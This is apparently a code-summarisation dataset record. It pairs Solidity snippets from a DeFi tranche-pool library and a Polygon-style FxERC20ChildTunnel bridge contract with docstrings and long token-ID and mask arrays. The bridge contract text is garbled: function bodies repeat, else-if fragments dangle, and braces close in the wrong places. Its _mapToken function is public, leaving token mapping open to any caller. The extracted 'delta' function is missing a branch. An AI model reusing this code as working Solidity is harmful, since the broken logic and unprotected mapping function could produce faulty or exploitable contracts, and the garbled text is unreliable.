deltaA, uint256 deltaB, uint256 rChange) { rChange = (currentRatio(t, rate, sFactorA, sFactorB) < t.targetRatio) ? 1 : 0; deltaA = ( Math.abs(t.reserveA, tokenAForTokenB(t.reserveB, t.targetRatio, rate, sFactorA, sFactorB)) * sFactorA ) / (sFactorA + (t.targetRatio * sFactorA / sFactorI)); // (convert to TokenB precision first to avoid altering deltaA) deltaB = ((deltaA * sFactorB / sFactorA) * rate) / sFactorI; // round to 0 in case of rounding errors if (deltaA == 0 || deltaB == 0) (deltaA, deltaB, rChange) = (0, 0, 0); } /** * @notice Returns the sum of the tranches reserve deltas */ function delta( IEPool.Tranche[] memory ts, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { uint256 totalReserveA; int256 totalDeltaA; int256 totalDeltaB; for (uint256 i = 0; i < ts.length; i++) { totalReserveA += ts[i].reserveA; (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta( ts[i], rate, sFactorA, sFactorB ); (totalDeltaA, totalDeltaB) = (_rChange == 0) ? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB)) : (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB)); } if (totalDeltaA > 0 && totalDeltaB < 0) { (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1); } else if (totalDeltaA < 0 && totalDeltaB > 0) { (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0); } rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA; } /** * @notice how much EToken can be issued, redeemed for amountA and amountB * initial issuance / last redemption: sqrt(amountA * amountB) * subsequent issuances / non nullifying redemptions: claim on reserve * EToken total supply */ function eTokenForTokenATokenB( IEPool.Tranche memory t, uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256) { uint256 amountsA = totalA(amountA, amountB, rate, sFactorA, sFactorB); if (t.reserveA + t.reserveB == 0) { return (Math.sqrt((amountsA * t.sFactorE / sFactorA) * t.sFactorE)); } uint256 reservesA = totalA(t.reserveA, t.reserveB, rate, sFactorA, sFactorB); uint256 share = ((amountsA * t.sFactorE / sFactorA) * t.sFactorE) / (reservesA * t.sFactorE / sFactorA); return share * t.eToken.totalSupply() / t.sFactorE; } /** * @notice Given an amount of EToken, how much TokenA and TokenB have to be deposited, withdrawn for it * initial issuance / last redemption: sqrt(amountA * amountB) -> such that the inverse := EToken amount ** 2 * subsequent issuances / non nullifying redemptions: claim on EToken supply * reserveA/B */ function tokenATokenBForEToken( IEPool.Tranche memory t, uint256 amount, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256 amountA, uint256 amountB) { if (t.reserveA + t.reserveB == 0) { uint256 amountsA = amount * sFactorA / t.sFactorE; (amountA, amountB) = tokenATokenBForTokenA( amountsA * amountsA / sFactorA , t.targetRatio, rate, sFactorA, sFactorB ); } else { uint256 eTokenTotalSupply = t.eToken.totalSupply(); if (eTokenTotalSupply == 0) return(0, 0); uint256 share = amount * t.sFactorE / eTokenTotalSupply; amountA = share * t.reserveA / t.sFactorE; amountB = share * t.reserveB / t.sFactorE; } } /** * @notice Given amountB, which amountA is required such that amountB / amountA is equal to the ratio * amountA := amountBInTokenA * ratio */ function tokenAForTokenB( uint256 amountB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountB * sFactorI / sFactorB) * ratio) / rate) * sFactorA / sFactorI; } /** * @notice Given amountA, which amountB is required such that amountB / amountA is equal to the ratio * amountB := amountAInTokenB / ratio */ function tokenBForTokenA( uint256 amountA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountA * sFactorI / sFactorA) * rate) / ratio) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenA, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := total - (total / (1 + ratio)) == (total * ratio) / (1 + ratio) * amountB := (total / (1 + ratio)) * rate */ function tokenATokenBForTokenA( uint256 _totalA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = _totalA - (_totalA * sFactorI / (sFactorI + ratio)); amountB = (((_totalA * sFactorI / sFactorA) * rate) / (sFactorI + ratio)) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenB, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := (total * ratio) / (rate * (1 + ratio)) * amountB := total / (1 + ratio) */ function tokenATokenBForTokenB( uint256 _totalB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = ((((_totalB * sFactorI / sFactorB) * ratio) / (sFactorI + ratio)) * sFactorA) / rate; amountB = (_totalB * sFactorI) / (sFactorI + ratio); } /** * @notice Return the total value of amountA and amountB denominated in TokenA * totalA := amountA + (amountB / rate) */ function totalA( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalA) { return amountA + ((((amountB * sFactorI / sFactorB) * sFactorI) / rate) * sFactorA) / sFactorI; } /** * @notice Return the total value of amountA and amountB denominated in TokenB * totalB := amountB + (amountA * rate) */ function totalB( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalB) { return amountB + ((amountA * rate / sFactorA) * sFactorB) / sFactorI; } /** * @notice Return the withdrawal fee for a given amount of TokenA and TokenB * feeA := amountA * feeRate * feeB := amountB * feeRate */ function feeAFeeBForTokenATokenB( uint256 amountA, uint256 amountB, uint256 feeRate ) internal pure returns (uint256 feeA, uint256 feeB) { feeA = amountA * feeRate / EPoolLibrary.sFactorI; feeB = amountB * feeRate / EPoolLibrary.sFactorI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEToken is IERC20 { function getController() external view returns (address); function setController(address _controller) external returns (bool); function mint(address account, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "./IEToken.sol"; interface IETokenFactory { function getController() external view returns (address); function setController(address _controller) external returns (bool); function createEToken(string memory name, string memory symbol) external returns (IEToken); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IERC20Optional.sol"; library TokenUtils { function decimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSignature("decimals()")); require(success, "TokenUtils: no decimals"); uint8 _decimals = abi.decode(data, (uint8)); return _decimals; } } // SPDX-License-Identifier: GNU pragma solidity ^0.8.1; library Math { function abs(uint256 a, uint256 b) internal pure returns (uint256) { return (a > b) ? a - b : b - a; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; /** * @dev Interface of the the optional methods of the ERC20 standard as defined in the EIP. */ interface IERC20Optional { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
* @notice Returns the sum of the tranches reserve deltas/
function delta( IEPool.Tranche[] memory ts, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { uint256 totalReserveA; int256 totalDeltaA; int256 totalDeltaB; for (uint256 i = 0; i < ts.length; i++) { totalReserveA += ts[i].reserveA; (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta( ts[i], rate, sFactorA, sFactorB ); (totalDeltaA, totalDeltaB) = (_rChange == 0) ? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB)) : (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB)); } if (totalDeltaA > 0 && totalDeltaB < 0) { (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1); (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0); } rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA; }
13,510,699
[ 1, 1356, 326, 2142, 434, 326, 13637, 11163, 20501, 20113, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3622, 12, 203, 3639, 10897, 2864, 18, 17730, 18706, 8526, 3778, 3742, 16, 203, 3639, 2254, 5034, 4993, 16, 203, 3639, 2254, 5034, 272, 6837, 37, 16, 203, 3639, 2254, 5034, 272, 6837, 38, 203, 565, 262, 2713, 16618, 1135, 261, 11890, 5034, 3622, 37, 16, 2254, 5034, 3622, 38, 16, 2254, 5034, 436, 3043, 16, 2254, 5034, 436, 7244, 13, 288, 203, 3639, 2254, 5034, 2078, 607, 6527, 37, 31, 203, 3639, 509, 5034, 2078, 9242, 37, 31, 203, 3639, 509, 5034, 2078, 9242, 38, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 3742, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2078, 607, 6527, 37, 1011, 3742, 63, 77, 8009, 455, 6527, 37, 31, 203, 5411, 261, 11890, 5034, 389, 9878, 37, 16, 2254, 5034, 389, 9878, 38, 16, 2254, 5034, 389, 86, 3043, 13, 273, 13637, 18706, 9242, 12, 203, 7734, 3742, 63, 77, 6487, 4993, 16, 272, 6837, 37, 16, 272, 6837, 38, 203, 5411, 11272, 203, 5411, 261, 4963, 9242, 37, 16, 2078, 9242, 38, 13, 273, 261, 67, 86, 3043, 422, 374, 13, 203, 7734, 692, 261, 4963, 9242, 37, 300, 509, 5034, 24899, 9878, 37, 3631, 2078, 9242, 38, 397, 509, 5034, 24899, 9878, 38, 3719, 203, 7734, 294, 261, 4963, 9242, 37, 397, 509, 5034, 24899, 9878, 37, 3631, 2078, 9242, 38, 300, 509, 5034, 24899, 9878, 38, 10019, 203, 203, 3639, 289, 203, 3639, 309, 261, 4963, 9242, 37, 405, 374, 597, 2078, 9242, 38, 411, 374, 13, 2 ]
./partial_match/5/0xd1e9079AD828350268bAf380C737bbE033e1029f/sources/FxERC20ChildTunnel.sol
* @notice Process message received from Root Tunnel @dev function needs to be implemented to handle message as per requirement This is called by onStateReceive function. Since it is called via a system call, any event will not be emitted during its execution. @param stateId unique state id @param sender root messge sender @param message bytes message that was sent from Root Tunnel/* @title FxERC20ChildTunnel/ event for token maping root to child token token template
contract FxERC20ChildTunnel is FxBaseChildTunnel { bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); string public constant SUFFIX = " (FXERC20)"; event TokenMapped(address indexed rootToken, address indexed childToken); mapping(address => address) public rootToChildToken; address public tokenTemplate; function _processMessageFromRoot(uint256 stateId, address sender, bytes memory message) virtual internal; } constructor(address _fxChild, address _tokenTemplate) FxBaseChildTunnel(_fxChild) { tokenTemplate = _tokenTemplate; } function _processMessageFromRoot(uint256 /* stateId */, address /* sender */, bytes memory data) internal override { (bytes32 syncType, bytes memory syncData) = abi.decode(data, (bytes32, bytes)); if (syncType == DEPOSIT) { _syncDeposit(syncData); _mapToken(syncData); revert("FxERC20ChildTunnel: INVALID_SYNC_TYPE"); } } function _processMessageFromRoot(uint256 /* stateId */, address /* sender */, bytes memory data) internal override { (bytes32 syncType, bytes memory syncData) = abi.decode(data, (bytes32, bytes)); if (syncType == DEPOSIT) { _syncDeposit(syncData); _mapToken(syncData); revert("FxERC20ChildTunnel: INVALID_SYNC_TYPE"); } } } else if (syncType == MAP_TOKEN) { } else { function withdraw(address childToken, uint256 amount) public { IFxERC20 childTokenContract = IFxERC20(childToken); address rootToken = childTokenContract.rootToken(); require( childToken != address(0x0) && rootToken != address(0x0) && childToken == rootToChildToken[rootToken], "FxERC20ChildTunnel: NO_MAPPED_TOKEN" ); childTokenContract.withdraw(msg.sender, amount); _sendMessageToRoot(abi.encode(rootToken, childToken, msg.sender, amount)); } function _mapToken(bytes memory syncData) public returns (address) { (address rootToken, string memory name, string memory symbol, uint8 decimals) = abi.decode(syncData, (address, string, string, uint8)); address childToken = rootToChildToken[rootToken]; require(childToken == address(0x0), "FxERC20ChildTunnel: ALREADY_MAPPED"); childToken = _createClone(rootToken, tokenTemplate); rootToChildToken[rootToken] = childToken; emit TokenMapped(rootToken, childToken); return childToken; } function _syncDeposit(bytes memory syncData) internal { (address rootToken, address depositor, address to, uint256 amount, bytes memory depositData) = abi.decode(syncData, (address, address, address, uint256, bytes)); address childToken = rootToChildToken[rootToken]; IFxERC20 childTokenContract = IFxERC20(childToken); childTokenContract.deposit(to, amount); if (_isContract(to)) { uint256 txGas = 2000000; bool success = false; bytes memory data = abi.encodeWithSignature("onTokenTransfer(address,address,address,address,uint256,bytes)", rootToken, childToken, depositor, to, amount, depositData); assembly { success := call(txGas, to, 0, add(data, 0x20), mload(data), 0, 0) } } } function _syncDeposit(bytes memory syncData) internal { (address rootToken, address depositor, address to, uint256 amount, bytes memory depositData) = abi.decode(syncData, (address, address, address, uint256, bytes)); address childToken = rootToChildToken[rootToken]; IFxERC20 childTokenContract = IFxERC20(childToken); childTokenContract.deposit(to, amount); if (_isContract(to)) { uint256 txGas = 2000000; bool success = false; bytes memory data = abi.encodeWithSignature("onTokenTransfer(address,address,address,address,uint256,bytes)", rootToken, childToken, depositor, to, amount, depositData); assembly { success := call(txGas, to, 0, add(data, 0x20), mload(data), 0, 0) } } } function _syncDeposit(bytes memory syncData) internal { (address rootToken, address depositor, address to, uint256 amount, bytes memory depositData) = abi.decode(syncData, (address, address, address, uint256, bytes)); address childToken = rootToChildToken[rootToken]; IFxERC20 childTokenContract = IFxERC20(childToken); childTokenContract.deposit(to, amount); if (_isContract(to)) { uint256 txGas = 2000000; bool success = false; bytes memory data = abi.encodeWithSignature("onTokenTransfer(address,address,address,address,uint256,bytes)", rootToken, childToken, depositor, to, amount, depositData); assembly { success := call(txGas, to, 0, add(data, 0x20), mload(data), 0, 0) } } } function _createClone(address _rootToken, address _target) internal returns (address _result) { bytes20 _targetBytes = bytes20(_target); bytes32 _salt = keccak256(abi.encode(address(this), _rootToken)); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), _targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) _result := create2(0, clone, 0x37, _salt) } } function _createClone(address _rootToken, address _target) internal returns (address _result) { bytes20 _targetBytes = bytes20(_target); bytes32 _salt = keccak256(abi.encode(address(this), _rootToken)); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), _targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) _result := create2(0, clone, 0x37, _salt) } } function _isContract(address _addr) private view returns (bool){ uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } function _isContract(address _addr) private view returns (bool){ uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } }
16,866,405
[ 1, 2227, 883, 5079, 628, 7450, 399, 8564, 225, 445, 4260, 358, 506, 8249, 358, 1640, 883, 487, 1534, 12405, 1220, 353, 2566, 635, 603, 1119, 11323, 445, 18, 7897, 518, 353, 2566, 3970, 279, 2619, 745, 16, 1281, 871, 903, 486, 506, 17826, 4982, 2097, 4588, 18, 225, 919, 548, 3089, 919, 612, 225, 5793, 1365, 12755, 908, 5793, 225, 883, 1731, 883, 716, 1703, 3271, 628, 7450, 399, 8564, 19, 225, 478, 92, 654, 39, 3462, 1763, 20329, 19, 871, 364, 1147, 852, 310, 1365, 358, 1151, 1147, 1147, 1542, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 478, 92, 654, 39, 3462, 1763, 20329, 353, 478, 92, 2171, 1763, 20329, 288, 203, 565, 1731, 1578, 1071, 5381, 2030, 28284, 273, 417, 24410, 581, 5034, 2932, 1639, 28284, 8863, 203, 565, 1731, 1578, 1071, 5381, 12815, 67, 8412, 273, 417, 24410, 581, 5034, 2932, 8352, 67, 8412, 8863, 203, 565, 533, 1071, 5381, 11726, 13144, 273, 315, 261, 25172, 654, 39, 3462, 2225, 31, 203, 377, 203, 565, 871, 3155, 12868, 12, 2867, 8808, 1365, 1345, 16, 1758, 8808, 1151, 1345, 1769, 203, 565, 2874, 12, 2867, 516, 1758, 13, 1071, 1365, 774, 1763, 1345, 31, 203, 565, 1758, 1071, 1147, 2283, 31, 203, 203, 565, 445, 389, 2567, 1079, 1265, 2375, 12, 11890, 5034, 919, 548, 16, 1758, 5793, 16, 1731, 3778, 883, 13, 5024, 2713, 31, 203, 97, 203, 203, 203, 565, 3885, 12, 2867, 389, 19595, 1763, 16, 1758, 389, 2316, 2283, 13, 478, 92, 2171, 1763, 20329, 24899, 19595, 1763, 13, 288, 203, 3639, 1147, 2283, 273, 389, 2316, 2283, 31, 203, 565, 289, 203, 203, 565, 445, 389, 2567, 1079, 1265, 2375, 12, 11890, 5034, 1748, 919, 548, 1195, 16, 1758, 1748, 5793, 1195, 16, 1731, 3778, 501, 13, 2713, 3849, 288, 203, 3639, 261, 3890, 1578, 3792, 559, 16, 1731, 3778, 3792, 751, 13, 273, 24126, 18, 3922, 12, 892, 16, 261, 3890, 1578, 